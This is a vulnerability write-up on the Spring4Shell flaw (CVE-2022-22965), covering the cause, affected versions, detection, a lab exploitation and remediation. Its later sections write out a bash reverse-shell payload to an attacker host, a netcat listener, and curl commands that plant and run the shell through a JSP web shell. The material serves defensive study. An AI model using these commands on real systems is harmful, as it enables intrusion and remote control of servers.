KEV Catalog: “Spring4Shell” Spring Framework Remote Code Execution Vulnerability (CVE-2022-22965)

KEV

“Spring4Shell” Spring Framework Remote Code Execution Vulnerability (CVE-2022-22965)

The CISA Known Exploited Vulnerabilities (KEV) Catalog lists cybersecurity vulnerabilities known to be actively exploited and helps prioritize vulnerability management. CISA includes a due date to remediate the vulnerability, typically two to three weeks from its submission. Actively monitoring the KEV catalog and understanding how these vulnerabilities can be exploited helps security teams recognize each vulnerability’s risk and threat to their network environments. Subscribe to CISA’s KEV Catalog Update Bulletin to stay up to date on new KEV Catalog vulnerabilities.

Date Added to KEV Catalog: April 4, 2022

CISA Due Date for Remediation: April 25, 2022 

Vulnerability

The “Spring4Shell” vulnerability, CVE-2022-22965, is a remote code execution vulnerability. It affects Spring Core applications running on Java Development Kit 9 (JDK 9+). Spring is a Java application framework. The vulnerability is called “Spring4Shell” in reference to the other critical Java vulnerability, “Log4Shell” from 2021. They both are remote code execution vulnerabilities services that run on Java, but Spring4Shell affects the Spring core framework and Log4J affects the Java logging library Log4J. 

On March 31, 2022 VMware released an official vulnerability report about Spring4Shell. The report listed the following prerequisites for exploitation:

  • JDK 9 or higher 
  • Apache Tomcat as the Servlet container
  • Packaged as WAR
  • spring-webmvc or spring-webflux dependency 

In Java 9 developers committed a change in the Class object and exposed a method called getModule(). The exposure of this new public method, getModule(), added a new way to for attackers to access the class loader, “class.module.classLoader” of the Java Virtual Machine (JVM). The class variable contains a reference to the POJO (Plain old Java Object) that the HTTP parameters are mapped to. Attackers can specify the class variable in their HTTP requests, which enables them to directly access that object. Attackers can also access all child properties of the object through the class variable. This allows attackers to overwrite attributes of the parent class, resulting in remote code execution. In the exploit example below, a .jsp webshell can be written at the web server root and used for remote code execution.  

Systems Affected and Detection

VMware states the following Spring Framework versions are vulnerable:  

  • 5.3.0 to 5.3.17 
  • 5.2.0 to 5.2.19 
  • Older, unsupported versions are also affected  

These frameworks are vulnerable on JDK 9 or higher and when specifically packaged as a traditional WAR and deployed in a standalone Tomcat instance. This vulnerability has been patched for Spring Core 5.3.18 and 5.2.20. 

Detecting this vulnerability can be done with a publicly available python script from Github or using vulnerability scanners, like Nessus’s plugin Spring Framework Spring4Shell (CVE-2022-22965).  

Exploitation

In Apache Tomcat, an attacker can access an AccessLogValve object from the class variable, by following the class.module.classLoader.resources.context.parent.pipeline.first path.  

An attacker could write a web shell into the web root of the webserver by changing properties of the AccessLogValve object (pattern, suffix, directory, and prefix). This exploit effectively forces the web application to write a malicious .jsp webshell that can be executed by Apache Tomcat, which the attacker can then run to get command execution. The .jsp shell is accessed from the browser and commands are executed in the URL connecting to the path of the .jsp shell. 

Testing Environment and Detection

Github’s vleminator has a dockerized application that is vulnerable to Spring4Shell and can be used for testing. After setting up a vulnerable environment via docker the following webpage is shown to confirm the web application is running:

A nmap scan on port 8080 also shows that Apache Tomcat version 9.0.59 is running on the localhost.

A python Spring4Shell detection script can also be run to confirm that the Apache web server is vulnerable to CVE-2022-22965. This script comes from cybersecurityworks553 on Github and uses the following format:  

python3 detect.py –url http://192.168.0.1/greeting 

Exploitation 

Testing for exploitation is relatively simple. A python exploit script is included if setting up through Github’s vleminator dockerized application but originally comes from reznok on Github. 

Reznok’s exploit uses the class.module.classLoader.resources.context.parent.pipeline.first path. The following class loader paths are mentioned in the exploit: pattern, suffix, dir (directory), prefix, and data format.  “Pattern” identifies the header fields to extract from the HTTP request and to log the response. The incoming headers that are substituted follow this format:  %{header}i. 

These headers are: %{prefix}i, %{c}i, and %{suffix}i. 

Above, the log_pattern value defines the payload as a JSP cmd web shell. It can be viewed on line 25  of Reznok’s exploit by url-decoding it. Right below log_pattern, the payload’s name, file type and location are defined:

“Suffix” is used to add to the end of log files, in this case .jsp, for the .jsp web shell.

Directory” designates where the file will be located (line 69 sets the default directory to: webapps/ROOT).

“Prefix” designates the name of the file which has a default set to “shell” on line 68.

The exploit is effectively using “pattern” to write a payload, “suffix” and “prefix” to name the payload shell.jsp and “dir” to locate the payload in the webapps/ROOT. 

The exploits runs with the same format as the detection script: 

The final output from renzok’s exploit provides the location of the web shell, in this case: http://localhost:8080/shell.jsp?cmd= 

Accessing the shell shows the “id” command executed from the browser:

The output shows that commands are executed as “root” user. More commands can be run to learn about the targeted web server. Viewing page source othe browser will provide better readability of output:

Adding a Shell to the Server 

The curl command can also be used to perform the same remote code execution: 

HacktheBox outlines how you can use the curl command to download and execute a shell script onto the Apache Tomcat Server.  An attacker needs to: 1) host a bash reverse shell 2) set up a remote listener 3) download the reverse shell to the target 4) execute the reverse shell.  

1) host a bash reverse shell

Payload: bash -c ‘exec bash -i &>/dev/tcp/<LHOST>/<LPORT> <&1’ 

Update the above payload as shell.sh, with your local host and local port, in the /tmp/ directory.

Start an HTTP server: python3 -m http.server 80    

2) set up a remote listener 

netcat listener: nc –nvlp <LPORT> 

3) download the reverse shell to the target

Instead of cmd=id, the command will need to be an URL-encoded curl command to download the shell.sh to the Apache Tomcat server: curl <LHOST>/shell.sh -o /tmp/shell.sh –output –URL encode the above curl command and add to the cmd= 

curl http://<RHOST>:8080/shell.jsp?cmd=curl%20<LHOST>%2Fshell.sh%20-o%20%2Ftmp%2Fshell.sh –output – 

This curl command gets the Remote Host (victim) to download the reverse shell from the Local Host (attacker). 
Note: RHOST is for the Remote Host IP, but it would be localhost if running a local vulnerable docker

4) execute the reverse shell  

curl http://<RHOST>:8080/shell.jsp?cmd=bash%20/tmp/shell.sh –output –

The payload leads to a bash reverse shell through the local netcat listener. The above steps are a more detailed explanation from this HacktheBox article.

Metasploit Exploit 

Exploitation can also be attempted by the Metasploit module, Spring Framework Class property RCE (Spring4Shell), through: exploit/multi/http/spring_framework_rce_spring4shell 

This Metasploit module can be tested against a vulhub container using a GET request and the vleminator container using a POST request, further documentation can be found on Infosecmatter

Remediation

VMware provides this guidance 

Users of affected versions should apply the following mitigation: 5.3.x users should upgrade to 5.3.18+, 5.2.x users should upgrade to 5.2.20+. No other steps are necessary. There are other mitigation steps for applications that cannot upgrade to the above versions. Those are described in the early announcement blog post, listed under the Resources section.

Releases that have fixed this issue include: 5.3.18+ and 5.2.20+ 

References: